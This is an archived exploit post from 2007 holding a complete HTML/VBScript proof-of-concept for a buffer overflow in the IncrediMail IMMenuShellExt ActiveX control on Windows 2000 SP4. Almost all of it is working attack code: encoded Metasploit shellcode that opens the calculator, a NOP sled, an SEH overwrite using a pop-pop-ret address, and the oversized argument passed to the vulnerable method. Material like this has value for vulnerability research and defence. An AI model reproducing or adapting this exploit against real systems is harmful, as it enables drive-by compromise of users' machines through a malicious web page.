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incredimail-overflow.txt

Posted on 10 May 2007

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IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit
By Umesh Wanve
==============================================================================================

Date : 08-05-2007

Reference: http://www.securityfocus.com/bid/23674

Tested on Windows 2000 SP4 Server English
Windows 2000 SP4 Professional English

Opens Calculator on the Vulnerable machine.

PS. This was written for educational purpose. Use it at your own risk.Author will be not be
responsible for any damage.

Always thanks to Metasploit and Stroke

-->


<html>

<title>
IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit - By Umesh Wanve
</title>

<body>

<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:F8984111-38B6-11D5-8725-0050DA2761C4" > </OBJECT>

<script language="vbscript">

<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  -->
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")


nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")

pointer_to_seh=unescape("%eb%06%90%90")

<!-- 0x750211a9  -- pop pop ret from ws2help.dll from windows2000 SP4  -->

seh_handler=unescape("%a9%11%02%75")



targetFile = "C:PROGRA~1INCRED~1inImShExt.dll"
prototype  = "Sub DoWebMenuAction ( ByVal bsPath As String )"
memberName = "DoWebMenuAction"
progid     = "INCREDISHELLEXTLib.IMMenuShellExt"
argCount   = 1

arg1=String(2483, "A")



arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop

target.DoWebMenuAction arg1

</script>
</body>
</html>

 

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